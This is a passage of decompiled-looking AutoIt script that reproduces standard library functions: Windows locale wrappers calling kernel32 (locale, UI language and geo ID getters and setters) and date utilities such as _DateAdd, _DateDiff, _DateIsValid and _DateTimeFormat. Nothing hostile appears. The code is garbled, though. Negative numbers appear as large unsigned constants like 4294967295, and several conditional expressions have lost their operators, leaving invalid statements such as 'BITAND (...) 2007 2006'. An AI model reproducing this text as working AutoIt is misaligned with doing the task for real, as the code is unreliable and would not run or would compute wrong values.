"GetSystemDefaultUILanguage" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETTHREADLOCALE () LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetThreadLocale" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETTHREADUILANGUAGE () LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetThreadUILanguage" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETTIMEFORMAT ($ILCID = 0 , $TSYSTEMTIME = 0 , $IFLAGS = 0 , $SFORMAT = "" ) IF NOT $ILCID THEN $ILCID = 1024 LOCAL $STYPEOFFORMAT = "wstr" IF NOT STRINGSTRIPWS ($SFORMAT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFFORMAT = "ptr" $SFORMAT = 0 ENDIF LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "GetTimeFormatW" , "dword" , $ILCID , "dword" , $IFLAGS , "struct*" , $TSYSTEMTIME , $STYPEOFFORMAT , $SFORMAT , "wstr" , "" , "int" , 2048 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [5 ] ENDFUNC FUNC _WINAPI_GETUSERDEFAULTLANGID () LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetUserDefaultLangID" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETUSERDEFAULTLCID () LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetUserDefaultLCID" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETUSERDEFAULTUILANGUAGE () LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "GetUserDefaultUILanguage" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETUSERGEOID () LOCAL $ARET = DLLCALL ("kernel32.dll" , "long" , "GetUserGeoID" , "uint" , 16 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISVALIDLOCALE ($ILCID , $IFLAG = 0 ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsValidLocale" , "dword" , $ILCID , "dword" , $IFLAG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETLOCALEINFO ($ILCID , $ITYPE , $SDATA ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetLocaleInfoW" , "dword" , $ILCID , "dword" , $ITYPE , "wstr" , $SDATA ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETTHREADLOCALE ($ILCID ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetThreadLocale" , "dword" , $ILCID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETTHREADUILANGUAGE ($ILANGUAGE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "word" , "SetThreadUILanguage" , "word" , $ILANGUAGE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN ($ARET [0 ] = $ARET [1 ] ) ENDFUNC FUNC _WINAPI_SETUSERGEOID ($IGEOID ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetUserGeoID" , "long" , $IGEOID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __ENUMGEOIDPROC ($IID ) __INC ($__G_VENUM ) $__G_VENUM [$__G_VENUM [0 ] ] = $IID RETURN 1 ENDFUNC FUNC __ENUMLOCALESPROC ($PLOCALE ) __INC ($__G_VENUM ) $__G_VENUM [$__G_VENUM [0 ] ] = DEC (DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PLOCALE ) + 1 ) & "]" , $PLOCALE ) , 1 ) ) RETURN 1 ENDFUNC FUNC __ENUMUILANGUAGESPROC ($PLANGUAGE , $IID ) __INC ($__G_VENUM ) $__G_VENUM [$__G_VENUM [0 ] ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PLANGUAGE ) + 1 ) & "]" , $PLANGUAGE ) , 1 ) IF $IID THEN $__G_VENUM [$__G_VENUM [0 ] ] = DEC ($__G_VENUM [$__G_VENUM [0 ] ] ) ENDIF RETURN 1 ENDFUNC #EndRegion Internal Functions FUNC _DATEADD ($STYPE , $INUMBER , $SDATE ) LOCAL $ASTIMEPART [4 ] LOCAL $ASDATEPART [4 ] LOCAL $IJULIANDATE $STYPE = STRINGLEFT ($STYPE , 1 ) IF STRINGINSTR ("D,M,Y,w,h,n,s" , $STYPE ) = 0 OR $STYPE = "" THEN RETURN SETERROR (1 , 0 , 0 ) ENDIF IF NOT STRINGISINT ($INUMBER ) THEN RETURN SETERROR (2 , 0 , 0 ) ENDIF IF NOT _DATEISVALID ($SDATE ) THEN RETURN SETERROR (3 , 0 , 0 ) ENDIF _DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART ) IF $STYPE = "d" OR $STYPE = "w" THEN IF $STYPE = "w" THEN $INUMBER = $INUMBER * 7 $IJULIANDATE = _DATETODAYVALUE ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) + $INUMBER _DAYVALUETODATE ($IJULIANDATE , $ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) ENDIF IF $STYPE = "m" THEN $ASDATEPART [2 ] = $ASDATEPART [2 ] + $INUMBER WHILE $ASDATEPART [2 ] > 12 $ASDATEPART [2 ] = $ASDATEPART [2 ] + 4294967284 $ASDATEPART [1 ] = $ASDATEPART [1 ] + 1 WEND WHILE $ASDATEPART [2 ] < 1 $ASDATEPART [2 ] = $ASDATEPART [2 ] + 12 $ASDATEPART [1 ] = $ASDATEPART [1 ] + 4294967295 WEND ENDIF IF $STYPE = "y" THEN $ASDATEPART [1 ] = $ASDATEPART [1 ] + $INUMBER ENDIF IF $STYPE = "h" OR $STYPE = "n" OR $STYPE = "s" THEN LOCAL $ITIMEVAL = _TIMETOTICKS ($ASTIMEPART [1 ] , $ASTIMEPART [2 ] , $ASTIMEPART [3 ] ) / 1000 IF $STYPE = "h" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER * 3600 IF $STYPE = "n" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER * 60 IF $STYPE = "s" THEN $ITIMEVAL = $ITIMEVAL + $INUMBER LOCAL $IDAY2ADD = INT ($ITIMEVAL / (24 * 60 * 60 ) ) $ITIMEVAL = $ITIMEVAL - $IDAY2ADD * 24 * 60 * 60 IF $ITIMEVAL < 0 THEN $IDAY2ADD = $IDAY2ADD + 4294967295 $ITIMEVAL = $ITIMEVAL + 24 * 60 * 60 ENDIF $IJULIANDATE = _DATETODAYVALUE ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) + $IDAY2ADD _DAYVALUETODATE ($IJULIANDATE , $ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) _TICKSTOTIME ($ITIMEVAL * 1000 , $ASTIMEPART [1 ] , $ASTIMEPART [2 ] , $ASTIMEPART [3 ] ) ENDIF LOCAL $INUMDAYS = _DAYSINMONTH ($ASDATEPART [1 ] ) IF $INUMDAYS [$ASDATEPART [2 ] ] < $ASDATEPART [3 ] THEN $ASDATEPART [3 ] = $INUMDAYS [$ASDATEPART [2 ] ] $SDATE = $ASDATEPART [1 ] & "/" & STRINGRIGHT ("0" & $ASDATEPART [2 ] , 2 ) & "/" & STRINGRIGHT ("0" & $ASDATEPART [3 ] , 2 ) IF $ASTIMEPART [0 ] > 0 THEN IF $ASTIMEPART [0 ] > 2 THEN $SDATE = $SDATE & " " & STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [3 ] , 2 ) ELSE $SDATE = $SDATE & " " & STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 ) & ":" & STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 ) ENDIF ENDIF RETURN $SDATE ENDFUNC FUNC _DATEDAYOFWEEK ($IDAYNUM , $IFORMAT = DEFAULT ) LOCAL CONST $MONDAY_IS_NO1 = 128 IF $IFORMAT = DEFAULT THEN $IFORMAT = 0 $IDAYNUM = INT ($IDAYNUM ) IF $IDAYNUM < 1 OR $IDAYNUM > 7 THEN RETURN SETERROR (1 , 0 , "" ) LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , BITAND ($IFORMAT , $MONDAY_IS_NO1 ) 2007 2006 ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , 1 ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAYNUM ) RETURN _WINAPI_GETDATEFORMAT (BITAND ($IFORMAT , $DMW_LOCALE_LONGNAME ) $LOCALE_USER_DEFAULT $LOCALE_INVARIANT , $TSYSTEMTIME , 0 , BITAND ($IFORMAT , $DMW_SHORTNAME ) "ddd" "dddd" ) ENDFUNC FUNC _DATEDAYSINMONTH ($IYEAR , $IMONTHNUM ) $IMONTHNUM = INT ($IMONTHNUM ) $IYEAR = INT ($IYEAR ) RETURN __DATEISMONTH ($IMONTHNUM ) AND __DATEISYEAR ($IYEAR ) _DAYSINMONTH ($IYEAR ) [$IMONTHNUM ] SETERROR (1 , 0 , 0 ) ENDFUNC FUNC _DATEDIFF ($STYPE , $SSTARTDATE , $SENDDATE ) $STYPE = STRINGLEFT ($STYPE , 1 ) IF STRINGINSTR ("d,m,y,w,h,n,s" , $STYPE ) = 0 OR $STYPE = "" THEN RETURN SETERROR (1 , 0 , 0 ) ENDIF IF NOT _DATEISVALID ($SSTARTDATE ) THEN RETURN SETERROR (2 , 0 , 0 ) ENDIF IF NOT _DATEISVALID ($SENDDATE ) THEN RETURN SETERROR (3 , 0 , 0 ) ENDIF LOCAL $ASSTARTDATEPART [4 ] , $ASSTARTTIMEPART [4 ] , $ASENDDATEPART [4 ] , $ASENDTIMEPART [4 ] _DATETIMESPLIT ($SSTARTDATE , $ASSTARTDATEPART , $ASSTARTTIMEPART ) _DATETIMESPLIT ($SENDDATE , $ASENDDATEPART , $ASENDTIMEPART ) LOCAL $ADAYSDIFF = _DATETODAYVALUE ($ASENDDATEPART [1 ] , $ASENDDATEPART [2 ] , $ASENDDATEPART [3 ] ) - _DATETODAYVALUE ($ASSTARTDATEPART [1 ] , $ASSTARTDATEPART [2 ] , $ASSTARTDATEPART [3 ] ) LOCAL $ITIMEDIFF , $IYEARDIFF , $ISTARTTIMEINSECS , $IENDTIMEINSECS IF $ASSTARTTIMEPART [0 ] > 1 AND $ASENDTIMEPART [0 ] > 1 THEN $ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ] $IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ] $ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS IF $ITIMEDIFF < 0 THEN $ADAYSDIFF = $ADAYSDIFF + 4294967295 $ITIMEDIFF = $ITIMEDIFF + 24 * 60 * 60 ENDIF ELSE $ITIMEDIFF = 0 ENDIF SELECT CASE $STYPE = "d" RETURN $ADAYSDIFF CASE $STYPE = "m" $IYEARDIFF = $ASENDDATEPART [1 ] - $ASSTARTDATEPART [1 ] LOCAL $IMONTHDIFF = $ASENDDATEPART [2 ] - $ASSTARTDATEPART [2 ] + $IYEARDIFF * 12 IF $ASENDDATEPART [3 ] < $ASSTARTDATEPART [3 ] THEN $IMONTHDIFF = $IMONTHDIFF + 4294967295 $ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ] $IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ] $ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS IF $ASENDDATEPART [3 ] = $ASSTARTDATEPART [3 ] AND $ITIMEDIFF < 0 THEN $IMONTHDIFF = $IMONTHDIFF + 4294967295 RETURN $IMONTHDIFF CASE $STYPE = "y" $IYEARDIFF = $ASENDDATEPART [1 ] - $ASSTARTDATEPART [1 ] IF $ASENDDATEPART [2 ] < $ASSTARTDATEPART [2 ] THEN $IYEARDIFF = $IYEARDIFF + 4294967295 IF $ASENDDATEPART [2 ] = $ASSTARTDATEPART [2 ] AND $ASENDDATEPART [3 ] < $ASSTARTDATEPART [3 ] THEN $IYEARDIFF = $IYEARDIFF + 4294967295 $ISTARTTIMEINSECS = $ASSTARTTIMEPART [1 ] * 3600 + $ASSTARTTIMEPART [2 ] * 60 + $ASSTARTTIMEPART [3 ] $IENDTIMEINSECS = $ASENDTIMEPART [1 ] * 3600 + $ASENDTIMEPART [2 ] * 60 + $ASENDTIMEPART [3 ] $ITIMEDIFF = $IENDTIMEINSECS - $ISTARTTIMEINSECS IF $ASENDDATEPART [2 ] = $ASSTARTDATEPART [2 ] AND $ASENDDATEPART [3 ] = $ASSTARTDATEPART [3 ] AND $ITIMEDIFF < 0 THEN $IYEARDIFF = $IYEARDIFF + 4294967295 RETURN $IYEARDIFF CASE $STYPE = "w" RETURN INT ($ADAYSDIFF / 7 ) CASE $STYPE = "h" RETURN $ADAYSDIFF * 24 + INT ($ITIMEDIFF / 3600 ) CASE $STYPE = "n" RETURN $ADAYSDIFF * 24 * 60 + INT ($ITIMEDIFF / 60 ) CASE $STYPE = "s" RETURN $ADAYSDIFF * 24 * 60 * 60 + $ITIMEDIFF ENDSELECT ENDFUNC FUNC _DATEISLEAPYEAR ($IYEAR ) IF STRINGISINT ($IYEAR ) THEN SELECT CASE MOD ($IYEAR , 4 ) = 0 AND MOD ($IYEAR , 100 ) <> 0 RETURN 1 CASE MOD ($IYEAR , 400 ) = 0 RETURN 1 CASE ELSE RETURN 0 ENDSELECT ENDIF RETURN SETERROR (1 , 0 , 0 ) ENDFUNC FUNC __DATEISMONTH ($INUMBER ) $INUMBER = INT ($INUMBER ) RETURN $INUMBER >= 1 AND $INUMBER <= 12 ENDFUNC FUNC _DATEISVALID ($SDATE ) LOCAL $ASDATEPART [4 ] , $ASTIMEPART [4 ] _DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART ) IF NOT STRINGISINT ($ASDATEPART [1 ] ) THEN RETURN 0 IF NOT STRINGISINT ($ASDATEPART [2 ] ) THEN RETURN 0 IF NOT STRINGISINT ($ASDATEPART [3 ] ) THEN RETURN 0 $ASDATEPART [1 ] = INT ($ASDATEPART [1 ] ) $ASDATEPART [2 ] = INT ($ASDATEPART [2 ] ) $ASDATEPART [3 ] = INT ($ASDATEPART [3 ] ) LOCAL $INUMDAYS = _DAYSINMONTH ($ASDATEPART [1 ] ) IF $ASDATEPART [1 ] < 1000 OR $ASDATEPART [1 ] > 2999 THEN RETURN 0 IF $ASDATEPART [2 ] < 1 OR $ASDATEPART [2 ] > 12 THEN RETURN 0 IF $ASDATEPART [3 ] < 1 OR $ASDATEPART [3 ] > $INUMDAYS [$ASDATEPART [2 ] ] THEN RETURN 0 IF $ASTIMEPART [0 ] < 1 THEN RETURN 1 IF $ASTIMEPART [0 ] < 2 THEN RETURN 0 IF $ASTIMEPART [0 ] = 2 THEN $ASTIMEPART [3 ] = "00" IF NOT STRINGISINT ($ASTIMEPART [1 ] ) THEN RETURN 0 IF NOT STRINGISINT ($ASTIMEPART [2 ] ) THEN RETURN 0 IF NOT STRINGISINT ($ASTIMEPART [3 ] ) THEN RETURN 0 $ASTIMEPART [1 ] = INT ($ASTIMEPART [1 ] ) $ASTIMEPART [2 ] = INT ($ASTIMEPART [2 ] ) $ASTIMEPART [3 ] = INT ($ASTIMEPART [3 ] ) IF $ASTIMEPART [1 ] < 0 OR $ASTIMEPART [1 ] > 23 THEN RETURN 0 IF $ASTIMEPART [2 ] < 0 OR $ASTIMEPART [2 ] > 59 THEN RETURN 0 IF $ASTIMEPART [3 ] < 0 OR $ASTIMEPART [3 ] > 59 THEN RETURN 0 RETURN 1 ENDFUNC FUNC __DATEISYEAR ($INUMBER ) RETURN STRINGLEN ($INUMBER ) = 4 ENDFUNC FUNC _DATELASTWEEKDAYNUM ($IWEEKDAYNUM ) SELECT CASE NOT STRINGISINT ($IWEEKDAYNUM ) RETURN SETERROR (1 , 0 , 0 ) CASE $IWEEKDAYNUM < 1 OR $IWEEKDAYNUM > 7 RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $ILASTWEEKDAYNUM IF $IWEEKDAYNUM = 1 THEN $ILASTWEEKDAYNUM = 7 ELSE $ILASTWEEKDAYNUM = $IWEEKDAYNUM + 4294967295 ENDIF RETURN $ILASTWEEKDAYNUM ENDSELECT ENDFUNC FUNC _DATELASTMONTHNUM ($IMONTHNUM ) SELECT CASE NOT STRINGISINT ($IMONTHNUM ) RETURN SETERROR (1 , 0 , 0 ) CASE NOT __DATEISMONTH ($IMONTHNUM ) RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $ILASTMONTHNUM IF $IMONTHNUM = 1 THEN $ILASTMONTHNUM = 12 ELSE $ILASTMONTHNUM = $IMONTHNUM + 4294967295 ENDIF $ILASTMONTHNUM = STRINGFORMAT ("%02d" , $ILASTMONTHNUM ) RETURN $ILASTMONTHNUM ENDSELECT ENDFUNC FUNC _DATELASTMONTHYEAR ($IMONTHNUM , $IYEAR ) SELECT CASE NOT STRINGISINT ($IMONTHNUM ) OR NOT STRINGISINT ($IYEAR ) RETURN SETERROR (1 , 0 , 0 ) CASE NOT __DATEISMONTH ($IMONTHNUM ) RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $ILASTYEAR IF $IMONTHNUM = 1 THEN $ILASTYEAR = $IYEAR + 4294967295 ELSE $ILASTYEAR = $IYEAR ENDIF $ILASTYEAR = STRINGFORMAT ("%04d" , $ILASTYEAR ) RETURN $ILASTYEAR ENDSELECT ENDFUNC FUNC _DATENEXTWEEKDAYNUM ($IWEEKDAYNUM ) SELECT CASE NOT STRINGISINT ($IWEEKDAYNUM ) RETURN SETERROR (1 , 0 , 0 ) CASE $IWEEKDAYNUM < 1 OR $IWEEKDAYNUM > 7 RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $INEXTWEEKDAYNUM IF $IWEEKDAYNUM = 7 THEN $INEXTWEEKDAYNUM = 1 ELSE $INEXTWEEKDAYNUM = $IWEEKDAYNUM + 1 ENDIF RETURN $INEXTWEEKDAYNUM ENDSELECT ENDFUNC FUNC _DATENEXTMONTHNUM ($IMONTHNUM ) SELECT CASE NOT STRINGISINT ($IMONTHNUM ) RETURN SETERROR (1 , 0 , 0 ) CASE NOT __DATEISMONTH ($IMONTHNUM ) RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $INEXTMONTHNUM IF $IMONTHNUM = 12 THEN $INEXTMONTHNUM = 1 ELSE $INEXTMONTHNUM = $IMONTHNUM + 1 ENDIF $INEXTMONTHNUM = STRINGFORMAT ("%02d" , $INEXTMONTHNUM ) RETURN $INEXTMONTHNUM ENDSELECT ENDFUNC FUNC _DATENEXTMONTHYEAR ($IMONTHNUM , $IYEAR ) SELECT CASE NOT STRINGISINT ($IMONTHNUM ) OR NOT STRINGISINT ($IYEAR ) RETURN SETERROR (1 , 0 , 0 ) CASE NOT __DATEISMONTH ($IMONTHNUM ) RETURN SETERROR (2 , 0 , 0 ) CASE ELSE LOCAL $INEXTYEAR IF $IMONTHNUM = 12 THEN $INEXTYEAR = $IYEAR + 1 ELSE $INEXTYEAR = $IYEAR ENDIF $INEXTYEAR = STRINGFORMAT ("%04d" , $INEXTYEAR ) RETURN $INEXTYEAR ENDSELECT ENDFUNC FUNC _DATETIMEFORMAT ($SDATE , $STYPE ) LOCAL $ASDATEPART [4 ] , $ASTIMEPART [4 ] LOCAL $STEMPDATE = "" , $STEMPTIME = "" LOCAL $SAM , $SPM , $STEMPSTRING = "" IF NOT _DATEISVALID ($SDATE ) THEN RETURN SETERROR (1 , 0 , "" ) ENDIF IF $STYPE < 0 OR $STYPE > 5 OR NOT ISINT ($STYPE ) THEN RETURN SETERROR (2 , 0 , "" ) ENDIF _DATETIMESPLIT ($SDATE , $ASDATEPART , $ASTIMEPART ) SWITCH $STYPE CASE 0 $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SSHORTDATE ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPDATE = $STEMPSTRING ELSE $STEMPDATE = "M/d/yyyy" ENDIF IF $ASTIMEPART [0 ] > 1 THEN $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIMEFORMAT ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPTIME = $STEMPSTRING ELSE $STEMPTIME = "h:mm:ss tt" ENDIF ENDIF CASE 1 $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SLONGDATE ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPDATE = $STEMPSTRING ELSE $STEMPDATE = "dddd, MMMM dd, yyyy" ENDIF CASE 2 $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SSHORTDATE ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPDATE = $STEMPSTRING ELSE $STEMPDATE = "M/d/yyyy" ENDIF CASE 3 IF $ASTIMEPART [0 ] > 1 THEN $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIMEFORMAT ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPTIME = $STEMPSTRING ELSE $STEMPTIME = "h:mm:ss tt" ENDIF ENDIF CASE 4 IF $ASTIMEPART [0 ] > 1 THEN $STEMPTIME = "hh:mm" ENDIF CASE 5 IF $ASTIMEPART [0 ] > 1 THEN $STEMPTIME = "hh:mm:ss" ENDIF ENDSWITCH IF $STEMPDATE <> "" THEN $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_SDATE ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPDATE = STRINGREPLACE ($STEMPDATE , "/" , $STEMPSTRING ) ENDIF LOCAL $IWDAY = _DATETODAYOFWEEK ($ASDATEPART [1 ] , $ASDATEPART [2 ] , $ASDATEPART [3 ] ) $ASDATEPART [3 ] = STRINGRIGHT ("0" & $ASDATEPART [3 ] , 2 ) $ASDATEPART [2 ] = STRINGRIGHT ("0" & $ASDATEPART [2 ] , 2 ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "d" , "@" ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "m" , "#" ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "y" , "&" ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@@@" , _DATEDAYOFWEEK ($IWDAY , 0 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@@" , _DATEDAYOFWEEK ($IWDAY , 1 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "@@" , $ASDATEPART [3 ] ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "@" , STRINGREPLACE (STRINGLEFT ($ASDATEPART [3 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASDATEPART [3 ] , 1 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "####" , _DATETOMONTH ($ASDATEPART [2 ] , 0 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "###" , _DATETOMONTH ($ASDATEPART [2 ] , 1 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "##" , $ASDATEPART [2 ] ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "#" , STRINGREPLACE (STRINGLEFT ($ASDATEPART [2 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASDATEPART [2 ] , 1 ) ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "&&&&" , $ASDATEPART [1 ] ) $STEMPDATE = STRINGREPLACE ($STEMPDATE , "&&" , STRINGRIGHT ($ASDATEPART [1 ] , 2 ) ) ENDIF IF $STEMPTIME <> "" THEN $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_S1159 ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $SAM = $STEMPSTRING ELSE $SAM = "AM" ENDIF $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_S2359 ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $SPM = $STEMPSTRING ELSE $SPM = "PM" ENDIF $STEMPSTRING = _WINAPI_GETLOCALEINFO ($LOCALE_USER_DEFAULT , $LOCALE_STIME ) IF NOT @ERROR AND NOT ($STEMPSTRING = "" ) THEN $STEMPTIME = STRINGREPLACE ($STEMPTIME , ":" , $STEMPSTRING ) ENDIF IF STRINGINSTR ($STEMPTIME , "tt" ) THEN IF $ASTIMEPART [1 ] < 12 THEN $STEMPTIME = STRINGREPLACE ($STEMPTIME , "tt" , $SAM ) IF $ASTIMEPART [1 ] = 0 THEN $ASTIMEPART [1 ] = 12 ELSE $STEMPTIME = STRINGREPLACE ($STEMPTIME , "tt" , $SPM ) IF $ASTIMEPART [1 ] > 12 THEN $ASTIMEPART [1 ] = $ASTIMEPART [1 ] + 4294967284 ENDIF ENDIF $ASTIMEPART [1 ] = STRINGRIGHT ("0" & $ASTIMEPART [1 ] , 2 ) $ASTIMEPART [2 ] = STRINGRIGHT ("0" & $ASTIMEPART [2 ] , 2 ) $ASTIMEPART [3 ] = STRINGRIGHT ("0" & $ASTIMEPART [3 ] , 2 ) $STEMPTIME = STRINGREPLACE ($STEMPTIME , "hh" , STRINGFORMAT ("%02d" , $ASTIMEPART [1 ] ) ) $STEMPTIME = STRINGREPLACE ($STEMPTIME , "h" , STRINGREPLACE (STRINGLEFT ($ASTIMEPART [1 ] , 1 ) , "0" , "" ) & STRINGRIGHT ($ASTIMEPART [1 ] , 1 ) ) $STEMPTIME = STRINGREPLACE ($STEMPTIME , "mm" , STRINGFORMAT ("%02d" , $ASTIMEPART [2 ] ) ) $STEMPTIME = STRINGREPLACE ($STEMPTIME , "ss" , STRINGFORMAT ("%02d" , $ASTIMEPART [3 ] ) ) $STEMPDATE = STRINGSTRIPWS ($STEMPDATE & " " & $STEMPTIME , $STR_STRIPLEADING + $STR_STRIPTRAILING ) ENDIF RETURN $STEMPDATE ENDFUNC FUNC _DATETIMESPLIT ($SDATE , BYREF $ADATEPART , BYREF $ITIMEPART ) LOCAL $SDATETIME = STRINGSPLIT ($SDATE , " T" ) IF $SDATETIME [0 ] > 0 THEN $ADATEPART = STRINGSPLIT ($SDATETIME [1 ] , "/-." ) IF $SDATETIME [0 ] > 1 THEN $ITIMEPART = STRINGSPLIT ($SDATETIME [2 ] , ":" ) IF UBOUND ($ITIMEPART ) < 4 THEN REDIM $ITIMEPART [4 ] ELSE DIM $ITIMEPART [4 ] ENDIF IF UBOUND ($ADATEPART ) < 4 THEN REDIM $ADATEPART [4 ] FOR $X = 1 TO 3 IF STRINGISINT ($ADATEPART [$X ] ) THEN $ADATEPART [$X ] = INT ($ADATEPART [$X ] ) ELSE $ADATEPART [$X ] = + 4294967295 ENDIF IF STRINGISINT ($ITIMEPART [$X ] ) THEN $ITIMEPART [$X ] = INT ($ITIMEPART [$X ] ) ELSE $ITIMEPART [$X ] = 0 ENDIF NEXT RETURN 1 ENDFUNC FUNC _DATETODAYOFWEEK ($IYEAR , $IMONTH , $IDAY ) IF NOT _DATEISVALID ($IYEAR & "/" & $IMONTH & "/" & $IDAY ) THEN RETURN SETERROR (1 , 0 , "" ) ENDIF LOCAL $I_FACTORA = INT ((14 - $IMONTH ) / 12 ) LOCAL $I_FACTORY = $IYEAR - $I_FACTORA LOCAL $I_FACTORM = $IMONTH + (12 * $I_FACTORA ) + 4294967294 LOCAL $I_FACTORD = MOD ($IDAY + $I_FACTORY + INT ($I_FACTORY / 4 ) - INT ($I_FACTORY / 100 ) + INT ($I_FACTORY / 400 ) + INT ((31 * $I_FACTORM ) / 12 ) , 7 ) RETURN $I_FACTORD + 1 ENDFUNC FUNC _DATETODAYOFWEEKISO ($IYEAR , $IMONTH , $IDAY ) LOCAL $IDOW = _DATETODAYOFWEEK ($IYEAR , 